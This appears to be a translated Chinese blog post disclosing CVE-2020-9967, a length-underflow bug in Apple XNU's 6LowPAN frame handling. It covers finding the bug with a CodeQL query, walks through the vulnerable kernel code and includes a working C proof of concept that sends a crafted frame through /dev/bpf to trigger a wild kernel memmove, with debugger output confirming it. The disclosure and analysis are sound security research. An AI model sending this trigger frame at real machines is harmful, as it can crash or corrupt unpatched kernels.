CVE-2020-9967-Apple macOS 6LowPAN漏洞

2020-12-28 10:44:46 浏览数 (1)

受Kevin Backhouse在寻找XNU远程漏洞方面的伟大工作的启发,我决定花一些时间看看CodeQL,并进行一些变种分析。这导致了在macOS 10.15.4的6LowPAN代码中发现了一个本地根到内核(虽然被苹果记录为远程)的漏洞。

该问题已于2020年5月11日报告给苹果。

这个问题被分配为CVE-2020-9967,修复方法包含在下面的安全更新中。

macOS Big Sur

2020年12月5日,苹果公司表示,已经公布了所有适用平台的CVE。

错误发现

在XNU中,入站和出站的网络数据包被存储在一个称为mbuf的内存管理单元中。数据通常由操作系统的网络栈代码读取或写入mbuf中。

我的思考过程是,我可以定义一个简单的污点跟踪查询,以找到任何不受信任的网络数据来源(源),最终会污染内存复制操作的大小参数(汇)。我最初从这里开始修改查询,寻找源头m_mtod和sink builtin___memcpy_chk。这导致没有找到任何结果。然而,在XNU内部,bcopy被大量使用,这最终会变成buildin___memmove_chk,所以查询被修改如下。

代码语言:javascript复制
import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis

class Config extends TaintTracking::Configuration {
  Config() { this = "sixlowpan_flow" }

  override predicate isSource(DataFlow::Node source) {
    source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
  }

  override predicate isSink(DataFlow::Node sink) {
    exists (FunctionCall call
    | call.getArgument(2) = sink.asExpr() and
      call.getTarget().getName() = "__builtin___memmove_chk" )
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "memmove with tainted size."

运行这个查询,我得到了大约15个结果,我发现的漏洞是其中之一。

通过查看结果,我发现这个这个流程值得人工调查。

代码语言:javascript复制
call to m_mtod   if_6lowpan.c:623:2
len   if_6lowpan.c:663:41
ref arg & ... [payload_len]   if_6lowpan.c:663:46
& ... [payload_len]   if_6lowpan.c:666:19
ieee02154hdr [payload_len]   sixxlowpan.c:882:38
ieee02154hdr [payload_len]   sixxlowpan.c:886:32
ieee02154hdr [payload_len]   sixxlowpan.c:819:43
ieee02154hdr [payload_len]   sixxlowpan.c:855:7
payload_len   sixxlowpan.c:855:21
... - ...   sixxlowpan.c:855:7

这证明了为代码库提供定制化的CodeQL查询来识别常见错误模式的力量。

在我深入研究我在这里发现的漏洞之前,了解一下6LowPAN的背景是有帮助的。

6LowPAN

原来作为macOS Catalina 10.15的一部分,苹果悄悄地在xnu内核中引入了对6LowPAN 6LowPAN和IEEE 802.15.4的支持。任何引入xnu的实质性变化都值得调查,因为这些很可能是引入新漏洞的来源。6LowPAN 是 "IPv6 over Low-Power Wireless Persona Area Networks "的缩写,顾名思义,它是一种网络技术,允许在小型链路层帧(如 IEEE 802.15.4)中有效地传输 IPv6 数据包。

该协议的相关RFC是RFC4944、RFC6282和RFC6775。

给大家介绍一下背景,IEEE 802.15.4是定义低速率无线个人区域网(LR-WPAN)操作的标准,并规定了LR-WPAN的物理层和媒体接入层。6LowPAN扩展了该标准,提供了802.15.4中没有定义的上层。一个流行的物联网协议Thread利用了6LowPAN,顺便说一下,苹果在2018年加入了Thread工作组......:)。)

在XNU内核源中,frame802154.c包含了802.15.4帧创建和解析的实现。if_6lowpan.c包含了6LowPAN网络接口的相关代码,sixlowpan.c则是6LowPAN的压缩和解压缩。其中很大一部分是从Contiki OS中提取的,并经过苹果的修改和封装代码。

目前还没有公开的文档,唯一公开提到的是关于Thread HomePod mini。

IEEE 802.15.4 帧格式

第2层(协议栈内的MAC层)在IEEE标准802.15.4-2015中的 "通用MAC帧格式 "7.2节中定义:

帧控制字段如下:

IPv6数据包必须在数据帧上进行。当我们在 "漏洞部分 "中讨论XNU代码库内的解析时,这些细节将很重要。帧已经被解析以确定头,然后有效载荷部分被处理。

LoWPAN有效载荷

由于一个完整的IPv6数据包不适合IEEE 802.15.4帧,必须提供一个适应层,以符合IPv6对最小MTU的要求。该标准还定义了头压缩的使用,因为预计大多数应用将在IEEE 802.15.4上使用IP。

因此,LoWPAN有效载荷(例如,一个IPv6数据包)遵循上述的封装头。

值得注意的是,一个IPv6头也有40个八位字节长。

在初始标准中,定义了LOWPAN_HC1压缩的IPv6数据报。这意味着6LowPAN有效载荷在接收时是被压缩的。这也将是理解该漏洞时的一个重要观察。

数据链路层调度

问题是,我们如何将6LowPAN帧送到苹果设备上,是否会自动处理?仔细研究代码,我们可以看到数据链路层有能力调度这种类型的帧。

最初我们可以发送一个以太网数据包,它将由demux函数处理:

代码语言:javascript复制
int
ether_demux(ifnet_t ifp, mbuf_t m, char *frame_header,
    protocol_family_t *protocol_family)
{
  struct ether_header *eh = (struct ether_header *)(void *)frame_header;
  u_short  ether_type = eh->ether_type;
  u_int16_t type;
  u_int8_t *data;
  u_int32_t i = 0;
  struct ether_desc_blk_str *desc_blk =
      (struct ether_desc_blk_str *)ifp->if_family_cookie;
  u_int32_t maxd = desc_blk ? desc_blk->n_max_used : 0;
  struct en_desc  *ed = desc_blk ? desc_blk->block_ptr : NULL;
  u_int32_t extProto1 = 0;
  u_int32_t extProto2 = 0;

  if (eh->ether_dhost[0] & 1) {
    /* Check for broadcast */
    if (_ether_cmp(etherbroadcastaddr, eh->ether_dhost) == 0) {
      m->m_flags |= M_BCAST;
    } else {
      m->m_flags |= M_MCAST;
    }
  }

  if (m->m_flags & M_HASFCS) {
    /*
     * If the M_HASFCS is set by the driver we want to make sure
     * that we strip off the trailing FCS data before handing it
     * up the stack.
     */
    m_adj(m, -ETHER_CRC_LEN);
    m->m_flags &= ~M_HASFCS;
  }

  if ((eh->ether_dhost[0] & 1) == 0) {
    /*
     * When the driver is put into promiscuous mode we may receive
     * unicast frames that are not intended for our interfaces.
     * They are marked here as being promiscuous so the caller may
     * dispose of them after passing the packets to any interface
     * filters.
     */
    if (_ether_cmp(eh->ether_dhost, IF_LLADDR(ifp))) {
      m->m_flags |= M_PROMISC;
    }
  }

  /* check for IEEE 802.15.4 */
  if (ether_type == htons(ETHERTYPE_IEEE802154)) {
    *protocol_family = PF_802154;
    return 0;
  }

如果ethernet头中的ether_type是ETHERTYPE_IEEE802154,那么我们将协议家族设置为PF_802154。

现在在默认配置中,除非配置了6lowpan接口,否则这个协议家族不会被处理,这导致下面的代码注册了一个函数fixlowpan_input,这个函数将在处理802.15.4帧时被调用。

代码语言:javascript复制
/*
 * Function: sixlowpan_attach_protocol
 * Purpose:
 *   Attach a DLIL protocol to the interface
 *   The ethernet demux actually special cases 802.15.4.
 *   The demux here isn't used. The demux will return PF_802154 for the
 *   appropriate packets and our sixlowpan_input function will be called.
 */
static int
sixlowpan_attach_protocol(struct ifnet *ifp)
{
  int     error;
  struct ifnet_attach_proto_param reg;

  bzero(&reg, sizeof(reg));
  reg.input            = sixlowpan_input;
  reg.detached         = sixlowpan_detached;
  error = ifnet_attach_protocol(ifp, PF_802154, &reg);
  if (error) {
    printf("%s(%s%d) ifnet_attach_protocol failed, %dn",
        __func__, ifnet_name(ifp), ifnet_unit(ifp), error);
  }
  return error;
}

漏洞详情

好了,现在我们终于把背景信息说清楚了,我将描述一下发现的漏洞。调用sixlowpan_input函数对802.15.4数据帧进行解构,具体如下。

代码语言:javascript复制
/*
 * 6lowpan input routine.
 * Decapsulate the 802.15.4 Data Frame
 * Header decompression on the payload
 * Pass the mbuf to the IPV6 protocol stack using proto_input()
 */
static int
sixlowpan_input(ifnet_t p, __unused protocol_family_t protocol,
    mbuf_t m, __unused char *frame_header)
{
  frame802154_t      ieee02154hdr;
  u_int8_t           *payload = NULL;
  if6lpan_ref        ifl = NULL;
  bpf_packet_func    bpf_func;
  mbuf_t mc, m_temp;
  int off, err = 0;
  u_int16_t len;

  /* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */
  mc = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
  if (mc == NULL) {
    err = -1;
    goto err_out;
  }

  memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t));
  len = ntohs(len);               // This is the size read from the frame on the wire. 
  m_adj(m, sizeof(u_int16_t));
  /* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */
  for (m_temp = m, off = 0; m_temp != NULL; m_temp = m_temp->m_next) {
    if (m_temp->m_len > 0) {
      m_copyback(mc, off, m_temp->m_len, mtod(m_temp, void *));
      off  = m_temp->m_len;
    }
  }

  p = p_6lowpan_ifnet;
  mc->m_pkthdr.rcvif = p;

  sixlowpan_lock();
  ifl = ifnet_get_if6lpan_retained(p);

  if (ifl == NULL) {
    sixlowpan_unlock();
    err = -1;
    goto err_out;
  }

  if (if6lpan_flags_ready(ifl) == 0) {
    if6lpan_release(ifl);
    sixlowpan_unlock();
    err = -1;
    goto err_out;
  }

  bpf_func = ifl->if6lpan_bpf_input;
  sixlowpan_unlock();
  if6lpan_release(ifl);

  if (bpf_func) {
    bpf_func(p, mc);
  }

  /* Parse the 802.15.4 frame header */
  bzero(&ieee02154hdr, sizeof(ieee02154hdr));
  frame802154_parse(mtod(mc, uint8_t *), len, &ieee02154hdr, &payload);

  /* XXX Add check for your link layer address being dest */
  sixxlowpan_input(&ieee02154hdr, payload);

首先,m_getcl为传入的802.15.4帧和未压缩的有效载荷分配一个mbuf集群mc。

集群mbuf的大小是2048字节的MCLBYTES。大于这个大小的数据会被复制到多个mbuf的链上。

正如你在这里看到的,len是从传入的mbuf m中读取的,并且是完全由攻击者控制的。

然后,m_adj被用来从mbuf链的头部修剪这两个字节。

然后将压缩后的802.15.4有效载荷从源mbuf m复制到分配的集群mbuf mc。

然后将集群mbuf的数据指针与攻击者控制的len值一起传递给frame802154_parse。

这有一些明显的问题,比如如果mbuf内的数据小于mc内的帧长度怎么办。

代码语言:javascript复制
/*----------------------------------------------------------------------------*/
/**
 *   brief Parses an input frame.  Scans the input frame to find each
 *   section, and stores the information of each section in a
 *   frame802154_t structure.
 *
 *   param data The input data from the radio chip.
 *   param len The size of the input data
 *   param pf The frame802154_t struct to store the parsed frame information.
 */
int
frame802154_parse(uint8_t *data, int len, frame802154_t *pf, uint8_t **payload)
{
  uint8_t *p;
  frame802154_fcf_t fcf;
  int c;
#if LLSEC802154_USES_EXPLICIT_KEYS
  uint8_t key_id_mode;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */

  if (len < 3) {
    return 0;
  }

  p = data;

  /* decode the FCF */
  fcf.frame_type = p[0] & 7;
  fcf.security_enabled = (p[0] >> 3) & 1;
  fcf.frame_pending = (p[0] >> 4) & 1;
  fcf.ack_required = (p[0] >> 5) & 1;
  fcf.panid_compression = (p[0] >> 6) & 1;

  fcf.dest_addr_mode = (p[1] >> 2) & 3;
  fcf.frame_version = (p[1] >> 4) & 3;
  fcf.src_addr_mode = (p[1] >> 6) & 3;

  /* copy fcf and seqNum */
  memcpy(&pf->fcf, &fcf, sizeof(frame802154_fcf_t));
  pf->seq = p[2];
  p  = 3;                             /* Skip first three bytes */

  /* Destination address, if any */
  if (fcf.dest_addr_mode) {
    /* Destination PAN */
    pf->dest_pid = p[0]   (p[1] << 8);
    p  = 2;

    /* Destination address */
    /*     l = addr_len(fcf.dest_addr_mode); */
    /*     for(c = 0; c < l; c  ) { */
    /*       pf->dest_addr.u8[c] = p[l - c - 1]; */
    /*     } */
    /*     p  = l; */
    if (fcf.dest_addr_mode == FRAME802154_SHORTADDRMODE) {
      linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);
      pf->dest_addr[0] = p[1];
      pf->dest_addr[1] = p[0];
      p  = 2;
    } else if (fcf.dest_addr_mode == FRAME802154_LONGADDRMODE) {
      for (c = 0; c < 8; c  ) {
        pf->dest_addr[c] = p[7 - c];
      }
      p  = 8;
    }
  } else {
    linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);
    pf->dest_pid = 0;
  }

  /* Source address, if any */
  if (fcf.src_addr_mode) {
    /* Source PAN */
    if (!fcf.panid_compression) {
      pf->src_pid = p[0]   (p[1] << 8);
      p  = 2;
    } else {
      pf->src_pid = pf->dest_pid;
    }

    /* Source address */
    /*     l = addr_len(fcf.src_addr_mode); */
    /*     for(c = 0; c < l; c  ) { */
    /*       pf->src_addr.u8[c] = p[l - c - 1]; */
    /*     } */
    /*     p  = l; */
    if (fcf.src_addr_mode == FRAME802154_SHORTADDRMODE) {
      linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);
      pf->src_addr[0] = p[1];
      pf->src_addr[1] = p[0];
      p  = 2;
    } else if (fcf.src_addr_mode == FRAME802154_LONGADDRMODE) {
      for (c = 0; c < 8; c  ) {
        pf->src_addr[c] = p[7 - c];
      }
      p  = 8;
    }
  } else {
    linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);
    pf->src_pid = 0;
  }

#if LLSEC802154_SECURITY_LEVEL
  if (fcf.security_enabled) {
    pf->aux_hdr.security_control.security_level = p[0] & 7;
#if LLSEC802154_USES_EXPLICIT_KEYS
    pf->aux_hdr.security_control.key_id_mode = (p[0] >> 3) & 3;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */
    p  = 1;

    memcpy(pf->aux_hdr.frame_counter.u8, p, 4);
    p  = 4;

#if LLSEC802154_USES_EXPLICIT_KEYS
    key_id_mode = pf->aux_hdr.security_control.key_id_mode;
    if (key_id_mode) {
      c = (key_id_mode - 1) * 4;
      memcpy(pf->aux_hdr.key_source.u8, p, c);
      p  = c;
      pf->aux_hdr.key_index = p[0];
      p  = 1;
    }
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */
  }
#endif /* LLSEC802154_SECURITY_LEVEL */

  /* header length */
  c = p - data;
  /* payload length */
  pf->payload_len = (len - c);
  /* payload */
  *payload = p;

  /* return header length if successful */
  return c > len ? 0 : c;
}


/** brief Parameters used by the frame802154_create() function.  These
 *  parameters are used in the 802.15.4 frame header.  See the 802.15.4
 *  specification for details.
 */
struct frame802154 {
  /* The fields dest_addr and src_addr must come first to ensure they are aligned to the
   * CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use
   * the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */
  uint8_t dest_addr[8];           /**< Destination address */
  uint8_t src_addr[8];            /**< Source address */
  frame802154_fcf_t fcf;          /**< Frame control field  */
  uint8_t seq;                    /**< Sequence number */
  uint16_t dest_pid;              /**< Destination PAN ID */
  uint16_t src_pid;               /**< Source PAN ID */
  frame802154_aux_hdr_t aux_hdr;  /**< Aux security header */
  //uint8_t *payload;               /**< Pointer to 802.15.4 payload */
  int payload_len;                /**< Length of payload field */
};
typedef struct frame802154 frame802154_t;

关于这个函数和调用者,有一些关键的观察。

如果len<3,那么函数将返回0,并且不初始化payload指针(也就是一个NULL指针)。

frame802154_parse的返回值不会被检查。因此,这可能导致头长度>有效载荷的情况。

由于我们可以将len控制在0-0xffff的值之间,所以我们可以使pf->payload_len为负值(对-header_len),小于预期的大小或者大于mc中输入数据本身的大小。

那么在这些情况下会发生什么呢?

代码语言:javascript复制
errno_t
sixxlowpan_input(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{
  errno_t error = 0;

  error = sixxlowpan_uncompress(ieee02154hdr, payload);
  if (error != 0) {
    goto done;
  }

  /*
   * TO DO: fragmentation
   */

done:
  return error;
}

然后对有效载荷进行解压:

代码语言:javascript复制
errno_t
sixxlowpan_uncompress(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{
  long hdroffset;
  size_t hdrlen;
  u_int8_t hdrbuf[128];
  errno_t error;

  bzero(hdrbuf, sizeof(hdrbuf));
  hdrlen = sizeof(hdrbuf);

  error = uncompress_hdr_hc1(ieee02154hdr, (u_int8_t *)payload,
      0, &hdroffset, &hdrlen, hdrbuf);

  if (error != 0) {
    return error;
  }

  if (hdroffset < 0) {
    /*
     * hdroffset negative means that we have to remove
     * hdrlen of extra stuff
     */
    memmove(&payload[0],
        &payload[hdrlen],
        ieee02154hdr->payload_len - hdrlen);
    ieee02154hdr->payload_len -= hdrlen;
  } else {
    /*
     * hdroffset is the size of the compressed header
     * -- i.e. when the untouched data starts
     *
     * hdrlen is the size of the decompressed header
     * that takes the place of compressed header of size hdroffset
     */
    memmove(payload   hdrlen,
        payload   hdroffset,
        ieee02154hdr->payload_len - hdroffset);
    memcpy(payload, hdrbuf, hdrlen);
    ieee02154hdr->payload_len  = hdrlen - hdroffset;
  }

  return 0;
}

从解压功能来看:

代码语言:javascript复制
/*--------------------------------------------------------------------*/
/**
 * brief Uncompress HC1 (and HC_UDP) headers and put them in
 * sicslowpan_buf
 *
 * This function is called by the input function when the dispatch is
 * HC1.
 * We %process the packet in the packetbuf buffer, uncompress the header
 * fields, and copy the result in the sicslowpan buffer.
 * At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len
 * are set to the appropriate values
 *
 * param ip_len Equal to 0 if the packet is not a fragment (IP length
 * is then inferred from the L2 length), non 0 if the packet is a 1st
 * fragment.
 */
errno_t
uncompress_hdr_hc1(struct frame802154 *frame, u_int8_t *payload,
    uint16_t ip_len, long *hdroffset, size_t *hdrlen, u_int8_t *hdrbuf)
{
  struct ip6_hdr *ip6 = (struct ip6_hdr *)hdrbuf;

  if (payload[PACKETBUF_HC1_DISPATCH] == SICSLOWPAN_DISPATCH_IPV6) {
    *hdroffset = -SICSLOWPAN_IPV6_HDR_LEN;
    *hdrlen = SICSLOWPAN_IPV6_HDR_LEN;
    return 0;
  }

  *hdroffset = 0;

  /* version, traffic class, flow label */
  ip6->ip6_flow = 0;
  ip6->ip6_vfc = IPV6_VERSION;

  /* src and dest ip addresses */
  uip_ip6addr_u8(&ip6->ip6_src, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
  uip_ds6_set_addr_iid(&ip6->ip6_src,
      (uip_lladdr_t *)frame->src_addr);

  uip_ip6addr_u8(&ip6->ip6_dst, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
  uip_ds6_set_addr_iid(&ip6->ip6_dst,
      (uip_lladdr_t *)frame->dest_addr);

  *hdrlen = UIP_IPH_LEN;

  /* Next header field */
  switch (payload[PACKETBUF_HC1_ENCODING] & 0x06) {
  case SICSLOWPAN_HC1_NH_ICMP6:
    ip6->ip6_nxt = IPPROTO_ICMPV6;
    ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
    *hdroffset = SICSLOWPAN_HC1_HDR_LEN;
    break;

  case SICSLOWPAN_HC1_NH_TCP:
    ip6->ip6_nxt = IPPROTO_TCP;
    ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
    *hdroffset = SICSLOWPAN_HC1_HDR_LEN;
    break;

  case SICSLOWPAN_HC1_NH_UDP:
    ip6->ip6_nxt = IPPROTO_UDP;
    if (payload[PACKETBUF_HC1_HC_UDP_HC1_ENCODING] & 0x01) {
      struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;

      /* UDP header is compressed with HC_UDP */
      if (payload[PACKETBUF_HC1_HC_UDP_UDP_ENCODING] !=
          SICSLOWPAN_HC_UDP_ALL_C) {
        printf("sicslowpan (uncompress_hdr), packet not supported");
        return EINVAL;
      }
      /* IP TTL */

      ip6->ip6_hlim = payload[PACKETBUF_HC1_HC_UDP_TTL];
      /* UDP ports, len, checksum */
      udp->uh_sport =
          htons(SICSLOWPAN_UDP_PORT_MIN   (payload[PACKETBUF_HC1_HC_UDP_PORTS] >> 4));
      udp->uh_dport =
          htons(SICSLOWPAN_UDP_PORT_MIN   (payload[PACKETBUF_HC1_HC_UDP_PORTS] & 0x0F));

      memcpy(&udp->uh_sum, &payload[PACKETBUF_HC1_HC_UDP_CHKSUM], 2);
      *hdrlen  = UIP_UDPH_LEN;
      *hdroffset = SICSLOWPAN_HC1_HC_UDP_HDR_LEN;
    } else {
      ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
      *hdroffset = SICSLOWPAN_HC1_HDR_LEN;
    }
    break;

  default:
    /* this shouldn't happen, drop */
    return EINVAL;
  }

  /* IP length field. */
  if (ip_len == 0) {
    size_t len = frame->payload_len - *hdroffset   *hdrlen - sizeof(struct ip6_hdr);

    /* This is not a fragmented packet */
    SET16(&ip6->ip6_plen, len);
  } else {
    /* This is a 1st fragment */
    SET16(&ip6->ip6_plen, ip_len - UIP_IPH_LEN);
  }
  /* length field in UDP header */
  if (ip6->ip6_nxt == IPPROTO_UDP) {
    struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;

    memcpy(&udp->uh_ulen, &ip6->ip6_plen, 2);
  }
  return 0;
}

我们可以通过这个函数观察到以下情况。

它希望mbuf中至少有40字节的IPv6头*hdrlen可用。

它不期望有效载荷大小小于头。

ip_len总是0。

如果我们忽略所有潜在的出界读:),我们可以将这个问题用于下面的出界写。

len的下溢导致一个巨大的值被传递给memmove(狂写).

因此,如果我们将接收到的帧的len设置为0x4,我们最终会在frame802154_parse中计算出以下值。

c header length = 3 frame->payload_len = 1

然后,我们可以看到,通过设置SICSLOWPAN_HC1_NH_UDP,我们最终在uncompress_hdr_hc1中得到以下值。

*hdroffset = SICSLOWPAN_HC1_HDR_LEN; 即 *hdroffset = 3。

*hdrlen = UIP_IPH_LEN; 即 *hdrlen = 40。

sizeof(struct ip6_hdr) = 40

因此,当我们返回到 sixxlowpan_uncompress 函数:

代码语言:javascript复制
/*
     * hdroffset is the size of the compressed header
     * -- i.e. when the untouched data starts
     *
     * hdrlen is the size of the decompressed header
     * that takes the place of compressed header of size hdroffset
     */
    memmove(payload   hdrlen,
        payload   hdroffset,
        ieee02154hdr->payload_len - hdroffset);
    memcpy(payload, hdrbuf, hdrlen);

我们在payload 40处有一个写(在mc mbuf集群中,由攻击者从源payload缓冲区控制的数据,ieee02154hdr->payload_len - 3 = -2长度。

POC 1

代码语言:javascript复制
/***

Apple XNU 6LowPAN POC
Catalina 10.15.4

POC 1: Wild memmove trigger with an underflow. 

Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0

***/

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>

// Set these to source and target 
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

struct frame_t {
  struct ether_header header;
  unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];
  ssize_t len;
  ssize_t payload_len;
};

// Open bpf device
int open_bpf_device()
{
  char buf[11] = {};
  int bpf = 0;
  for(int i = 0; i < 99; i  )
  {
    sprintf(buf,"/dev/bpf%i",i);
    bpf = open(buf,O_RDWR);
    if( bpf != -1 ) {
      printf("Opened device /dev/bpf%in", i);
      break; 
    }
  }
  if(bpf == -1) {
    printf("Cannot open any /dev/bpf* device, exitingn");
    exit(1); 
  }
  return bpf; 
}

// Associate device
void assoc_dev(int bpf, char* interface)
{
  struct ifreq bound_if;
  strcpy(bound_if.ifr_name, interface);
  if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {
    printf("Cannot bind bpf device to physical device %s, exitingn", interface);
    exit(1);
  }
  printf("Bound bpf device to physical device %sn", interface);
}

// Write trigger frame
void write_single_frame(int bpf) 
{
  ssize_t data_length = 32;

  struct frame_t frame;
  memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);
  memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);

  //  802.15.4 frame type. 
  frame.header.ether_type = 0x908;
  frame.len = (2*ETHER_ADDR_LEN)   ETHER_TYPE_LEN   data_length;

  // Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);
  frame.payload[0] = 0;
  frame.payload[1] = 4;

  // This is the start of the "data" passed to frame802154_parse and considered frame header 
  // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)
  // These are used for the FCF (no flags set)
  frame.payload[2] = 0;
  frame.payload[3] = 0;
  frame.payload[4] = 0;

  // As none FCF are set p =3 bytes. 
  // header length
  // c = p - data;
  // c = 3
  // payload length
  // pf->payload_len = (4 - 3);
  // pf->payload_len = 1

  // This is the start of our payload passed to sixxlowpan_uncompress
  frame.payload[5] = 0;
  frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP

  // Just pad the frame with 'A'. 
  for (int j = 7; j < 32; j  ) {
    frame.payload[j] = 0x41;
    } 

    ssize_t bytes_sent;
    bytes_sent = write(bpf, &frame, frame.len);
    if(bytes_sent > 0) {
      printf("Bytes sent: %ldn", bytes_sent);
    } else {
      perror("Error sending frame");
      exit(1);
    }
}

int main(int argc, char *argv[])
{
  char* interface = "en0";

  int bpf;
  bpf = open_bpf_device();
  assoc_dev(bpf, interface);
  write_single_frame(bpf);

  return 0; 
}

在下面的POC 1代码中,我使1 - 3 = -2触发了一次巨大的写入,使问题明显地被发现。

我们可以通过下面的调试输出来确认:

代码语言:javascript复制
(lldb) disas
kernel`sixxlowpan_uncompress:
    0xffffff8003ffa0b0 < 0>:   push   rbp
    0xffffff8003ffa0b1 < 1>:   mov    rbp, rsp
    0xffffff8003ffa0b4 < 4>:   push   r15
    0xffffff8003ffa0b6 < 6>:   push   r14
    0xffffff8003ffa0b8 < 8>:   push   r13
    0xffffff8003ffa0ba < 10>:  push   r12
    0xffffff8003ffa0bc < 12>:  push   rbx
    0xffffff8003ffa0bd < 13>:  sub    rsp, 0x98
    0xffffff8003ffa0c4 < 20>:  mov    r15, rsi
    0xffffff8003ffa0c7 < 23>:  mov    r14, rdi
    0xffffff8003ffa0ca < 26>:  lea    rax, [rip   0x4a1f9f]     ; __stack_chk_guard
    0xffffff8003ffa0d1 < 33>:  mov    rax, qword ptr [rax]
    0xffffff8003ffa0d4 < 36>:  mov    qword ptr [rbp - 0x30], rax
    0xffffff8003ffa0d8 < 40>:  int3   
    0xffffff8003ffa0d9 < 41>:  mov    dword ptr [rbp - 0xc0], 0x0
    0xffffff8003ffa0e3 < 51>:  mov    qword ptr [rbp - 0x38], 0x0
    0xffffff8003ffa0eb < 59>:  mov    qword ptr [rbp - 0x40], 0x0
    0xffffff8003ffa0f3 < 67>:  mov    qword ptr [rbp - 0x48], 0x0
    0xffffff8003ffa0fb < 75>:  mov    qword ptr [rbp - 0x50], 0x0
    0xffffff8003ffa103 < 83>:  mov    qword ptr [rbp - 0x58], 0x0
    0xffffff8003ffa10b < 91>:  mov    qword ptr [rbp - 0x60], 0x0
    0xffffff8003ffa113 < 99>:  mov    qword ptr [rbp - 0x68], 0x0
    0xffffff8003ffa11b < 107>: mov    qword ptr [rbp - 0x70], 0x0
    0xffffff8003ffa123 < 115>: mov    qword ptr [rbp - 0x78], 0x0
    0xffffff8003ffa12b < 123>: mov    qword ptr [rbp - 0x80], 0x0
    0xffffff8003ffa133 < 131>: mov    qword ptr [rbp - 0x88], 0x0
    0xffffff8003ffa13e < 142>: mov    qword ptr [rbp - 0x90], 0x0
    0xffffff8003ffa149 < 153>: mov    qword ptr [rbp - 0x98], 0x0
    0xffffff8003ffa154 < 164>: mov    qword ptr [rbp - 0xa0], 0x0
    0xffffff8003ffa15f < 175>: mov    qword ptr [rbp - 0xa8], 0x0
    0xffffff8003ffa16a < 186>: mov    qword ptr [rbp - 0xb0], 0x0
    0xffffff8003ffa175 < 197>: lea    rbx, [rbp - 0xb0]
    0xffffff8003ffa17c < 204>: mov    esi, 0x80
    0xffffff8003ffa181 < 209>: mov    rdi, rbx
    0xffffff8003ffa184 < 212>: call   0xffffff80039980f0        ; bzero

    0xffffff8003ffa189 < 217>: mov    qword ptr [rbp - 0xb8], 0x80
    0xffffff8003ffa194 < 228>: lea    rcx, [rbp - 0xc0]
    0xffffff8003ffa19b < 235>: lea    r8, [rbp - 0xb8]
    0xffffff8003ffa1a2 < 242>: mov    rdi, r14
    0xffffff8003ffa1a5 < 245>: mov    rsi, r15
    0xffffff8003ffa1a8 < 248>: xor    edx, edx
    0xffffff8003ffa1aa < 250>: mov    r9, rbx
    0xffffff8003ffa1ad < 253>: call   0xffffff8003ff9d70        ; uncompress_hdr_hc1 at sixxlowpan.c:679

    0xffffff8003ffa1b2 < 258>: mov    ebx, eax
    0xffffff8003ffa1b4 < 260>: test   eax, eax
    0xffffff8003ffa1b6 < 262>: jne    0xffffff8003ffa210        ; < 352> at sixxlowpan.c
    0xffffff8003ffa1b8 < 264>: mov    r13, qword ptr [rbp - 0xc0]
    0xffffff8003ffa1bf < 271>: mov    r12, qword ptr [rbp - 0xb8]
    0xffffff8003ffa1c6 < 278>: lea    rsi, [r15   r12]
    0xffffff8003ffa1ca < 282>: test   r13, r13                  
    0xffffff8003ffa1cd < 285>: js     0xffffff8003ffa1fa        ; < 330> at sixxlowpan.c:841:3

    0xffffff8003ffa1cf < 287>: lea    rdi, [r15   r13]
    0xffffff8003ffa1d3 < 291>: movsxd rdx, dword ptr [r14   0x34]
    0xffffff8003ffa1d7 < 295>: int3   
    0xffffff8003ffa1d8 < 296>: sub    edx, ebp
->  0xffffff8003ffa1da < 298>: call   0xffffff8003998070        ; bcopy


(lldb) register read 
General Purpose Registers:
       rax = 0x0000000000000000
       rbx = 0x0000000000000000
       rcx = 0xffffff80669e3d28
       rdx = 0xfffffffffffffffe
       rdi = 0xffffff80602e1806
